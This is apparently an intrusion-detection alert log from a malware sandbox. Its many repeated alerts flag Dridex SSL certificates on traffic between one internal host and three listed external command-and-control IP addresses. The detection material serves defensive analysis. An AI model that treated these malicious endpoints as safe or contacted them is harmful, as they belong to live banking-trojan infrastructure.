01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49216 80.86.91.27  192.168.2.22
16:33:59.792773

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49217 5.100.228.233 192.168.2.22
16:34:00.340765

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49217 5.100.228.233 192.168.2.22
16:34:00.340765

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49219 77.220.64.37 192.168.2.22
16:34:01.389954

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49220 80.86.91.27  192.168.2.22
16:34:01.906184

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49221 5.100.228.233 192.168.2.22
16:34:02.447414
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Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49221 5.100.228.233 192.168.2.22
16:34:02.447414

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49223  77.220.64.37 192.168.2.22
16:34:03.496864

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49224 80.86.91.27  192.168.2.22
16:34:04.022514

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49225 5.100.228.233 192.168.2.22
16:34:04.536048

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49225 5.100.228.233 192.168.2.22
16:34:04.536048

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49227  77.220.64.37 192.168.2.22
16:34:05.906018

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49228 80.86.91.27  192.168.2.22
16:34:06.417889

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49229 5.100.228.233 192.168.2.22
16:34:06.919353

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49229 5.100.228.233 192.168.2.22
16:34:06.919353

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49232  77.220.64.37 192.168.2.22
16:34:07.954513

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49233 80.86.91.27  192.168.2.22
16:34:08.478740

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49235 5.100.228.233 192.168.2.22
16:34:08.993999

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49235 5.100.228.233 192.168.2.22
16:34:08.993999

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49237  77.220.64.37 192.168.2.22
16:34:10.173092

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49238 80.86.91.27  192.168.2.22
16:34:10.708583

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49239 5.100.228.233 192.168.2.22
16:34:11.218083

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49239 5.100.228.233 192.168.2.22
16:34:11.218083

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49241 77.220.64.37 192.168.2.22
16:34:12.268103

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49242 80.86.91.27  192.168.2.22
16:34:12.872592

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49243 5.100.228.233 192.168.2.22
16:34:13.600411

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49243 5.100.228.233 192.168.2.22
16:34:13.600411

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49245  77.220.64.37 192.168.2.22
16:34:15.437408

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49246 80.86.91.27  192.168.2.22
16:34:15.962153

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49247 5.100.228.233 192.168.2.22
16:34:16.462141

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49247 5.100.228.233 192.168.2.22
16:34:16.462141

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49249  77.220.64.37 192.168.2.22
16:34:17.479326

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49250 80.86.91.27  192.168.2.22
16:34:18.005076

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49251 5.100.228.233 192.168.2.22
16:34:18.511693

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49251 5.100.228.233 192.168.2.22
16:34:18.511693

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49253  77.220.64.37 192.168.2.22
16:34:19.540899

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49254 80.86.91.27  192.168.2.22
16:34:20.046076

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49255 5.100.228.233 192.168.2.22
16:34:20.565376

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49255 5.100.228.233 192.168.2.22
16:34:20.565376

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49257  77.220.64.37 192.168.2.22

16:34:21.612063

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49258 80.86.91.27  192.168.2.22
16:34:22.124433

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49259  5.100.228.233 192.168.2.22
16:34:22.642097

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49259  5.100.228.233 192.168.2.22
16:34:22.642097
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01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49261 77.220.64.37 192.168.2.22
16:34:23.673590

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49262 80.86.91.27  192.168.2.22
16:34:24.197214

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49263 5.100.228.233 192.168.2.22
16:34:24.730800

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49263 5.100.228.233 192.168.2.22
16:34:24.730800

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49265 77.220.64.37 192.168.2.22
16:34:25.767985

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49266 80.86.91.27  192.168.2.22
16:34:26.291617

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49267 5.100.228.233 192.168.2.22
16:34:26.804973

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49267 5.100.228.233 192.168.2.22
16:34:26.804973

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49268 5.100.228.233 192.168.2.22
16:34:27.009025

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49268 5.100.228.233 192.168.2.22
16:34:27.009025

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49270 77.220.64.37 192.168.2.22
16:34:28.056413

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49271 80.86.91.27  192.168.2.22
16:34:28.570214

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49272 5.100.228.233 192.168.2.22
16:34:29.077349

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49272 5.100.228.233 192.168.2.22
16:34:29.077349

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49274 77.220.64.37 192.168.2.22
16:34:30.125744

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49275 80.86.91.27  192.168.2.22
16:34:30.743003

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49276 5.100.228.233 192.168.2.22
16:34:31.482706

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49276 5.100.228.233 192.168.2.22
16:34:31.482706

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49278  77.220.64.37 192.168.2.22
16:34:33.080325

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49279 80.86.91.27  192.168.2.22
16:34:33.587426

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49280 5.100.228.233 192.168.2.22
16:34:34.131967

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49280 5.100.228.233 192.168.2.22
16:34:34.131967

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49282 77.220.64.37 192.168.2.22
16:34:35.201630

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49283 80.86.91.27  192.168.2.22
16:34:35.719609

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49284 5.100.228.233 192.168.2.22
16:34:36.228913

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49284 5.100.228.233 192.168.2.22
16:34:36.228913

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49286 77.220.64.37 192.168.2.22
16:34:37.249487

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49287 80.86.91.27  192.168.2.22
16:34:37.755461

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49288 5.100.228.233 192.168.2.22
16:34:38.348549

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49288 5.100.228.233 192.168.2.22
16:34:38.348549

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49290 77.220.64.37 192.168.2.22
16:34:39.395918

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49291 80.86.91.27  192.168.2.22
16:34:39.908038

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49292 5.100.228.233 192.168.2.22
16:34:40.418698

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49292 5.100.228.233 192.168.2.22
16:34:40.418698

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49294  77.220.64.37 192.168.2.22
16:34:41.445898

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49295 80.86.91.27  192.168.2.22
16:34:41.987752

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49296 5.100.228.233 192.168.2.22
16:34:42.497581
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01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49296 5.100.228.233 192.168.2.22
16:34:42.497581

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49298  77.220.64.37 192.168.2.22
16:34:43.534406

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49299 80.86.91.27  192.168.2.22
16:34:44.111190

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49300 5.100.228.233 192.168.2.22
16:34:44.647836

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49300 5.100.228.233 192.168.2.22
16:34:44.647836

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49302 77.220.64.37 192.168.2.22
16:34:45.676342

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49303 80.86.91.27  192.168.2.22
16:34:46.185377

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49304 5.100.228.233 192.168.2.22
16:34:46.700125

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49304 5.100.228.233 192.168.2.22
16:34:46.700125

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49306 77.220.64.37 192.168.2.22
16:34:47.735541

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49307 80.86.91.27  192.168.2.22
16:34:48.439512

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49308 5.100.228.233 192.168.2.22
16:34:48.950325

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49308 5.100.228.233 192.168.2.22
16:34:48.950325

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49310 77.220.64.37 192.168.2.22
16:34:50.444834

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49311 80.86.91.27  192.168.2.22
16:34:50.956606

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49312 5.100.228.233 192.168.2.22
16:34:51.477695

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49312 5.100.228.233 192.168.2.22
16:34:51.477695

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49314  77.220.64.37 192.168.2.22
16:34:52.503394

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49315 80.86.91.27  192.168.2.22
16:34:53.013927

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49316 5.100.228.233 192.168.2.22
16:34:53.520930

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49316 5.100.228.233 192.168.2.22
16:34:53.520930

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49318  77.220.64.37 192.168.2.22
16:34:54.519881

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49319 80.86.91.27  192.168.2.22
16:34:55.025995

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49320 5.100.228.233 192.168.2.22
16:34:55.524014

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49320 5.100.228.233 192.168.2.22
16:34:55.524014

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49322  77.220.64.37 192.168.2.22
16:34:56.571484

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49323 80.86.91.27  192.168.2.22
16:34:57.089355

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49324 5.100.228.233 192.168.2.22

16:34:57.602076

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49324  5.100.228.233 192.168.2.22
16:34:57.602076

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49326 77.220.64.37 192.168.2.22
16:34:58.624557

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49327 80.86.91.27  192.168.2.22
16:34:59.148180

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49328 5.100.228.233 192.168.2.22
16:34:59.666095

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49328 5.100.228.233 192.168.2.22
16:34:59.666095

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49330 77.220.64.37 192.168.2.22
16:35:00.715691

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49331 80.86.91.27  192.168.2.22
16:35:01.236953

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49332 5.100.228.233 192.168.2.22
16:35:01.761583

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49332  5.100.228.233 192.168.2.22
16:35:01.761583
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01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49334 77.220.64.37 192.168.2.22
16:35:02.802404

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49335 80.86.91.27  192.168.2.22
16:35:03.329766

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49336 5.100.228.233 192.168.2.22
16:35:03.878445

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49336 5.100.228.233 192.168.2.22
16:35:03.878445

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49338  77.220.64.37 192.168.2.22
16:35:04.892348

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49339 80.86.91.27  192.168.2.22
16:35:05.404986

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49340 5.100.228.233 192.168.2.22
16:35:05.985456

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49340 5.100.228.233 192.168.2.22
16:35:05.985456

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49342  77.220.64.37 192.168.2.22
16:35:06.991646

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49343 80.86.91.27  192.168.2.22
16:35:07.525240

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49344 5.100.228.233 192.168.2.22
16:35:08.064987

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49344 5.100.228.233 192.168.2.22
16:35:08.064987

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49346 77.220.64.37 192.168.2.22

16:35:09.102310

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49347 80.86.91.27  192.168.2.22
16:35:09.628687

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49348 5.100.228.233 192.168.2.22
16:35:10.143444

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49348 5.100.228.233 192.168.2.22
16:35:10.143444

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49350 77.220.64.37 192.168.2.22
16:35:11.176219

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49351 80.86.91.27  192.168.2.22
16:35:11.690394

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49352  5.100.228.233 192.168.2.22
16:35:12.217871

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49352 5.100.228.233 192.168.2.22
16:35:12.217871

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49354  77.220.64.37 192.168.2.22
16:35:13.283894

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49355 80.86.91.27  192.168.2.22
16:35:13.809427

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49356  5.100.228.233 192.168.2.22
16:35:14.331349

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49356  5.100.228.233 192.168.2.22
16:35:14.331349

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49358 77.220.64.37 192.168.2.22
16:35:15.380542

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49359 80.86.91.27  192.168.2.22
16:35:15.904026

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49360 5.100.228.233 192.168.2.22
16:35:16.392687

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49360 5.100.228.233 192.168.2.22
16:35:16.392687

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49362 77.220.64.37 192.168.2.22
16:35:17.417956

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49363 80.86.91.27  192.168.2.22
16:35:17.928863

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49364 5.100.228.233 192.168.2.22
16:35:18.471172

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49364 5.100.228.233 192.168.2.22
16:35:18.471172

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49366 77.220.64.37 192.168.2.22
16:35:19.567363

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49367 80.86.91.27  192.168.2.22
16:35:20.192353

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49368 5.100.228.233 192.168.2.22
16:35:20.709398

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49368 5.100.228.233 192.168.2.22
16:35:20.709398

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49370 77.220.64.37 192.168.2.22
16:35:21.760297
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01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49371 80.86.91.27  192.168.2.22
16:35:22.279629

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49372 5.100.228.233 192.168.2.22
16:35:22.807530

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49372 5.100.228.233 192.168.2.22
16:35:22.807530

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49374 77.220.64.37 192.168.2.22
16:35:23.867316

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49375 80.86.91.27  192.168.2.22
16:35:24.385838

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49376 5.100.228.233 192.168.2.22
16:35:24.904681

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49376 5.100.228.233 192.168.2.22
16:35:24.904681

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49378  77.220.64.37 192.168.2.22
16:35:25.943777

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49379 80.86.91.27  192.168.2.22
16:35:26.450298

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49380 5.100.228.233 192.168.2.22
16:35:26.984739

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49380 5.100.228.233 192.168.2.22
16:35:26.984739

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49382  77.220.64.37 192.168.2.22
16:35:28.029237

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49383 80.86.91.27  192.168.2.22
16:35:28.540636

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49384 5.100.228.233 192.168.2.22
16:35:29.081347

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49384 5.100.228.233 192.168.2.22
16:35:29.081347

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49386 77.220.64.37 192.168.2.22
16:35:30.119499

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49387 80.86.91.27  192.168.2.22
16:35:30.643194

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49388 5.100.228.233 192.168.2.22
16:35:31.140349

